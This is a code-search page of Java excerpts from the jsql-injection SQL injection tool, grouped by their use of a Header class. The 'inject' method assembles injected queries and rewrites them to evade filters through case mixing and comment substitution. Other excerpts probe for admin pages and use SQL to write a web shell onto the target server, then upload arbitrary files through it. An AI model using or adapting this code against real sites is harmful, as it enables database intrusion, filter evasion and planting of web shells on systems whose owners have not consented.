Search in sources :

Example 1 with Header

use of com.jsql.model.bean.util.Header in project jsql-injection by ron190.

the class AbstractStrategy method markVulnerable.

public void markVulnerable(Interaction message, int i) {
    Request request = new Request();
    request.setMessage(message);
    Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
    msgHeader.put(Header.URL, ConnectionUtil.getUrlByUser());
    msgHeader.put(Header.SOURCE, i);
    request.setParameters(msgHeader);
    MediatorModel.model().sendToViews(request);
}
Also used : Header(com.jsql.model.bean.util.Header) Request(com.jsql.model.bean.util.Request) EnumMap(java.util.EnumMap)

Example 2 with Header

use of com.jsql.model.bean.util.Header in project jsql-injection by ron190.

the class AbstractStrategy method markVulnerable.

public void markVulnerable(Interaction message) {
    Request request = new Request();
    request.setMessage(message);
    Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
    msgHeader.put(Header.URL, ConnectionUtil.getUrlByUser());
    request.setParameters(msgHeader);
    MediatorModel.model().sendToViews(request);
}
Also used : Header(com.jsql.model.bean.util.Header) Request(com.jsql.model.bean.util.Request) EnumMap(java.util.EnumMap)

Example 3 with Header

use of com.jsql.model.bean.util.Header in project jsql-injection by ron190.

the class InjectionModel method inject.

/**
 * Run a HTTP connection to the web server.
 * @param dataInjection SQL query
 * @param responseHeader unused
 * @return source code of current page
 */
@Override
public String inject(String newDataInjection, boolean isUsingIndex) {
    // Temporary url, we go from "select 1,2,3,4..." to "select 1,([complex query]),2...", but keep initial url
    String urlInjection = ConnectionUtil.getUrlBase();
    String dataInjection = " " + newDataInjection;
    urlInjection = this.buildURL(urlInjection, isUsingIndex, dataInjection);
    // TODO merge into function
    urlInjection = urlInjection.trim().replaceAll("(?s)/\\*.*?\\*/", "").replaceAll("([^\\s\\w])(\\s+)", "$1").replaceAll("(\\s+)([^\\s\\w])", "$2").replaceAll("\\s+", "+");
    URL urlObject = null;
    try {
        urlObject = new URL(urlInjection);
    } catch (MalformedURLException e) {
        LOGGER.warn("Incorrect Query Url: " + e.getMessage(), e);
        return "";
    }
    // TODO Extract in method
    if (!ParameterUtil.getQueryString().isEmpty()) {
        // new params from <form> parsing, in that case add the '?' to URL
        if (!urlInjection.contains("?")) {
            urlInjection += "?";
        }
        urlInjection += this.buildQuery(MethodInjection.QUERY, ParameterUtil.getQueryStringAsString(), isUsingIndex, dataInjection);
        if (ConnectionUtil.getTokenCsrf() != null) {
            urlInjection += "&" + ConnectionUtil.getTokenCsrf().getKey() + "=" + ConnectionUtil.getTokenCsrf().getValue();
        }
        try {
            // Evasion
            if (this.stepSecurity == 1) {
                // Replace character '+'
                urlInjection = urlInjection.replaceAll("--\\+", "--").replaceAll("7330%2b1", "7331");
            } else if (this.stepSecurity == 2) {
                // Change case
                urlInjection = urlInjection.replaceAll("union\\+", "uNiOn+").replaceAll("select\\+", "sElEcT+").replaceAll("from\\+", "FrOm+").replaceAll("from\\(", "FrOm(").replaceAll("where\\+", "wHeRe+").replaceAll("([AE])=0x", "$1+lIkE+0x");
            } else if (this.stepSecurity == 3) {
                // Change Case and Space
                urlInjection = urlInjection.replaceAll("union\\+", "uNiOn/**/").replaceAll("select\\+", "sElEcT/**/").replaceAll("from\\+", "FrOm/**/").replaceAll("from\\(", "FrOm(").replaceAll("where\\+", "wHeRe/**/").replaceAll("([AE])=0x", "$1/**/lIkE/**/0x");
                urlInjection = urlInjection.replaceAll("--\\+", "--").replaceAll("\\+", "/**/");
            }
            urlObject = new URL(urlInjection);
        } catch (MalformedURLException e) {
            LOGGER.warn("Incorrect Evasion Url: " + e.getMessage(), e);
        }
    } else {
        if (ConnectionUtil.getTokenCsrf() != null) {
            urlInjection += "?" + ConnectionUtil.getTokenCsrf().getKey() + "=" + ConnectionUtil.getTokenCsrf().getValue();
        }
    }
    HttpURLConnection connection;
    String pageSource = "";
    // Define the connection
    try {
        // Block Opening Connection
        if (AuthenticationUtil.isKerberos()) {
            String kerberosConfiguration = Pattern.compile("(?s)\\{.*").matcher(StringUtils.join(Files.readAllLines(Paths.get(AuthenticationUtil.getPathKerberosLogin()), Charset.defaultCharset()), "")).replaceAll("").trim();
            SpnegoHttpURLConnection spnego = new SpnegoHttpURLConnection(kerberosConfiguration);
            connection = spnego.connect(urlObject);
        } else {
            connection = (HttpURLConnection) urlObject.openConnection();
        }
        connection.setReadTimeout(ConnectionUtil.getTimeout());
        connection.setConnectTimeout(ConnectionUtil.getTimeout());
        connection.setDefaultUseCaches(false);
        connection.setRequestProperty("Pragma", "no-cache");
        connection.setRequestProperty("Cache-Control", "no-cache");
        connection.setRequestProperty("Expires", "-1");
        if (ConnectionUtil.getTokenCsrf() != null) {
            connection.setRequestProperty(ConnectionUtil.getTokenCsrf().getKey(), ConnectionUtil.getTokenCsrf().getValue());
        }
        ConnectionUtil.fixJcifsTimeout(connection);
        Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
        msgHeader.put(Header.URL, urlInjection);
        // TODO Extract in method
        if (!ParameterUtil.getHeader().isEmpty()) {
            Stream.of(this.buildQuery(MethodInjection.HEADER, ParameterUtil.getHeaderAsString(), isUsingIndex, dataInjection).split("\\\\r\\\\n")).forEach(e -> {
                if (e.split(":").length == 2) {
                    HeaderUtil.sanitizeHeaders(connection, new SimpleEntry<String, String>(e.split(":")[0], e.split(":")[1]));
                }
            });
            msgHeader.put(Header.HEADER, this.buildQuery(MethodInjection.HEADER, ParameterUtil.getHeaderAsString(), isUsingIndex, dataInjection));
        }
        // TODO Extract in method
        if (!ParameterUtil.getRequest().isEmpty() || ConnectionUtil.getTokenCsrf() != null) {
            try {
                ConnectionUtil.fixCustomRequestMethod(connection, ConnectionUtil.getTypeRequest());
                connection.setDoOutput(true);
                connection.addRequestProperty("Content-Type", "application/x-www-form-urlencoded");
                DataOutputStream dataOut = new DataOutputStream(connection.getOutputStream());
                if (ConnectionUtil.getTokenCsrf() != null) {
                    dataOut.writeBytes(ConnectionUtil.getTokenCsrf().getKey() + "=" + ConnectionUtil.getTokenCsrf().getValue() + "&");
                }
                if (ConnectionUtil.getTypeRequest().matches("PUT|POST")) {
                    if (ParameterUtil.getRequestAsText().trim().matches("^<\\?xml.*")) {
                        dataOut.writeBytes(this.buildQuery(MethodInjection.REQUEST, ParameterUtil.getRequestAsText(), isUsingIndex, dataInjection));
                    } else {
                        dataOut.writeBytes(this.buildQuery(MethodInjection.REQUEST, ParameterUtil.getRequestAsString(), isUsingIndex, dataInjection));
                    }
                }
                dataOut.flush();
                dataOut.close();
                if (ParameterUtil.getRequestAsText().trim().matches("^<\\?xml.*")) {
                    msgHeader.put(Header.POST, this.buildQuery(MethodInjection.REQUEST, ParameterUtil.getRequestAsText(), isUsingIndex, dataInjection));
                } else {
                    msgHeader.put(Header.POST, this.buildQuery(MethodInjection.REQUEST, ParameterUtil.getRequestAsString(), isUsingIndex, dataInjection));
                }
            } catch (IOException e) {
                LOGGER.warn("Error during Request connection: " + e.getMessage(), e);
            }
        }
        msgHeader.put(Header.RESPONSE, HeaderUtil.getHttpHeaders(connection));
        try {
            pageSource = ConnectionUtil.getSource(connection);
        } catch (Exception e) {
            LOGGER.error(e, e);
        }
        // Calling connection.disconnect() is not required, further calls will follow
        msgHeader.put(Header.SOURCE, pageSource);
        // Inform the view about the log infos
        Request request = new Request();
        request.setMessage(Interaction.MESSAGE_HEADER);
        request.setParameters(msgHeader);
        this.sendToViews(request);
    } catch (// Exception for General and Spnego Opening Connection
    IOException | LoginException | GSSException | PrivilegedActionException e) {
        LOGGER.warn("Error during connection: " + e.getMessage(), e);
    }
    // return the source code of the page
    return pageSource;
}
Also used : MalformedURLException(java.net.MalformedURLException) PrivilegedActionException(java.security.PrivilegedActionException) DataOutputStream(java.io.DataOutputStream) SpnegoHttpURLConnection(net.sourceforge.spnego.SpnegoHttpURLConnection) Request(com.jsql.model.bean.util.Request) IOException(java.io.IOException) URL(java.net.URL) LoginException(javax.security.auth.login.LoginException) InjectionFailureException(com.jsql.model.exception.InjectionFailureException) JSONException(org.json.JSONException) JSqlException(com.jsql.model.exception.JSqlException) GSSException(org.ietf.jgss.GSSException) PrivilegedActionException(java.security.PrivilegedActionException) MalformedURLException(java.net.MalformedURLException) IOException(java.io.IOException) HttpURLConnection(java.net.HttpURLConnection) SpnegoHttpURLConnection(net.sourceforge.spnego.SpnegoHttpURLConnection) Header(com.jsql.model.bean.util.Header) GSSException(org.ietf.jgss.GSSException) LoginException(javax.security.auth.login.LoginException) JSONObject(org.json.JSONObject) EnumMap(java.util.EnumMap)

Example 4 with Header

use of com.jsql.model.bean.util.Header in project jsql-injection by ron190.

the class CallableHttpHead method call.

/**
 * Call URL to a administration page in HEAD mode and send the result back to view.
 */
@Override
public CallableHttpHead call() throws Exception {
    boolean isUrlIncorrect = false;
    URL targetUrl = null;
    try {
        targetUrl = new URL(this.urlAdminPage);
    } catch (MalformedURLException e) {
        isUrlIncorrect = true;
    }
    if (RessourceAccess.isSearchAdminStopped() || isUrlIncorrect || "".equals(targetUrl.getHost())) {
        LOGGER.warn("Incorrect URL: " + this.urlAdminPage);
        return this;
    }
    HttpURLConnection connection = (HttpURLConnection) targetUrl.openConnection();
    connection.setRequestProperty("Pragma", "no-cache");
    connection.setRequestProperty("Cache-Control", "no-cache");
    connection.setRequestProperty("Expires", "-1");
    connection.setRequestMethod("HEAD");
    this.responseCodeHttp = ObjectUtils.firstNonNull(connection.getHeaderField(0), "");
    Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
    msgHeader.put(Header.URL, this.urlAdminPage);
    msgHeader.put(Header.POST, "");
    msgHeader.put(Header.HEADER, "");
    msgHeader.put(Header.RESPONSE, HeaderUtil.getHttpHeaders(connection));
    Request request = new Request();
    request.setMessage(Interaction.MESSAGE_HEADER);
    request.setParameters(msgHeader);
    MediatorModel.model().sendToViews(request);
    return this;
}
Also used : MalformedURLException(java.net.MalformedURLException) HttpURLConnection(java.net.HttpURLConnection) Header(com.jsql.model.bean.util.Header) Request(com.jsql.model.bean.util.Request) EnumMap(java.util.EnumMap) URL(java.net.URL)

Example 5 with Header

use of com.jsql.model.bean.util.Header in project jsql-injection by ron190.

the class RessourceAccess method uploadFile.

/**
 * Upload a file to the server.
 * @param pathFile Remote path of the file to upload
 * @param urlFile URL of uploaded file
 * @param file File to upload
 * @throws JSqlException
 * @throws IOException
 */
public static void uploadFile(String pathFile, String urlFile, File file) throws JSqlException, IOException {
    if (!RessourceAccess.isReadingAllowed()) {
        return;
    }
    String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.upload").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD);
    String pathShellFixed = pathFile;
    if (!pathShellFixed.matches(".*/$")) {
        pathShellFixed += "/";
    }
    MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile("<" + DataAccess.LEAD + ">" + sourceShellToInject + "<" + DataAccess.TRAIL + ">", pathShellFixed + FILENAME_UPLOAD));
    String[] sourcePage = { "" };
    String sourceShellInjected;
    try {
        sourceShellInjected = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_UPLOAD), sourcePage, false, 1, null);
        if ("".equals(sourceShellInjected)) {
            throw new JSqlException("Bad payload integrity: Empty payload");
        }
    } catch (JSqlException e) {
        throw new JSqlException("Payload integrity verification failed: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"), e);
    }
    String urlFileFixed = urlFile;
    if ("".equals(urlFileFixed)) {
        urlFileFixed = ConnectionUtil.getUrlBase().substring(0, ConnectionUtil.getUrlBase().lastIndexOf('/') + 1);
    }
    if (sourceShellInjected.indexOf(sourceShellToInject) > -1) {
        LOGGER.debug("Upload payload deployed at \"" + urlFileFixed + FILENAME_UPLOAD + "\" in \"" + pathShellFixed + FILENAME_UPLOAD + "\"");
        String crLf = "\r\n";
        URL urlUploadShell = new URL(urlFileFixed + "/" + FILENAME_UPLOAD);
        URLConnection connection = urlUploadShell.openConnection();
        connection.setDoOutput(true);
        try (InputStream streamToUpload = new FileInputStream(file)) {
            byte[] streamData = new byte[streamToUpload.available()];
            if (streamToUpload.read(streamData) == -1) {
                throw new JSqlException("Error reading the file");
            }
            String headerForm = "";
            headerForm += "-----------------------------4664151417711" + crLf;
            headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\"" + file.getName() + "\"" + crLf;
            headerForm += "Content-Type: binary/octet-stream" + crLf;
            headerForm += crLf;
            String headerFile = "";
            headerFile += crLf + "-----------------------------4664151417711--" + crLf;
            connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=---------------------------4664151417711");
            connection.setRequestProperty("Content-Length", String.valueOf(headerForm.length() + headerFile.length() + streamData.length));
            try (OutputStream streamOutputFile = connection.getOutputStream()) {
                streamOutputFile.write(headerForm.getBytes());
                int index = 0;
                int size = 1024;
                do {
                    if (index + size > streamData.length) {
                        size = streamData.length - index;
                    }
                    streamOutputFile.write(streamData, index, size);
                    index += size;
                } while (index < streamData.length);
                streamOutputFile.write(headerFile.getBytes());
                streamOutputFile.flush();
            }
            try (InputStream streamInputFile = connection.getInputStream()) {
                char buff = 512;
                int len;
                byte[] data = new byte[buff];
                StringBuilder result = new StringBuilder();
                do {
                    len = streamInputFile.read(data);
                    if (len > 0) {
                        result.append(new String(data, 0, len));
                    }
                } while (len > 0);
                if (result.indexOf(DataAccess.LEAD + "y") > -1) {
                    LOGGER.debug("File \"" + file.getName() + "\" uploaded into \"" + pathShellFixed + "\"");
                } else {
                    LOGGER.warn("Upload file \"" + file.getName() + "\" into \"" + pathShellFixed + "\" failed");
                }
                Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
                msgHeader.put(Header.URL, urlFileFixed);
                msgHeader.put(Header.POST, "");
                msgHeader.put(Header.HEADER, "");
                msgHeader.put(Header.RESPONSE, HeaderUtil.getHttpHeaders(connection));
                msgHeader.put(Header.SOURCE, result.toString());
                Request request = new Request();
                request.setMessage(Interaction.MESSAGE_HEADER);
                request.setParameters(msgHeader);
                MediatorModel.model().sendToViews(request);
            }
        }
    } else {
        throw new JSqlException("Incorrect Upload payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
    }
    Request request = new Request();
    request.setMessage(Interaction.END_UPLOAD);
    MediatorModel.model().sendToViews(request);
}
Also used : JSqlException(com.jsql.model.exception.JSqlException) SuspendableGetRows(com.jsql.model.suspendable.SuspendableGetRows) FileInputStream(java.io.FileInputStream) InputStream(java.io.InputStream) OutputStream(java.io.OutputStream) Request(com.jsql.model.bean.util.Request) URL(java.net.URL) HttpURLConnection(java.net.HttpURLConnection) URLConnection(java.net.URLConnection) FileInputStream(java.io.FileInputStream) Header(com.jsql.model.bean.util.Header) EnumMap(java.util.EnumMap)

Aggregations

Header (com.jsql.model.bean.util.Header)11 Request (com.jsql.model.bean.util.Request)11 EnumMap (java.util.EnumMap)11 HttpURLConnection (java.net.HttpURLConnection)6 URL (java.net.URL)6 IOException (java.io.IOException)5 JSqlException (com.jsql.model.exception.JSqlException)4 InjectionFailureException (com.jsql.model.exception.InjectionFailureException)3 SpnegoHttpURLConnection (net.sourceforge.spnego.SpnegoHttpURLConnection)3 StoppedByUserSlidingException (com.jsql.model.exception.StoppedByUserSlidingException)2 Vendor (com.jsql.model.injection.vendor.Vendor)2 DataOutputStream (java.io.DataOutputStream)2 UnsupportedEncodingException (java.io.UnsupportedEncodingException)2 MalformedURLException (java.net.MalformedURLException)2 SimpleEntry (java.util.AbstractMap.SimpleEntry)2 List (java.util.List)2 Map (java.util.Map)2 ExecutionException (java.util.concurrent.ExecutionException)2 Matcher (java.util.regex.Matcher)2 I18n (com.jsql.i18n.I18n)1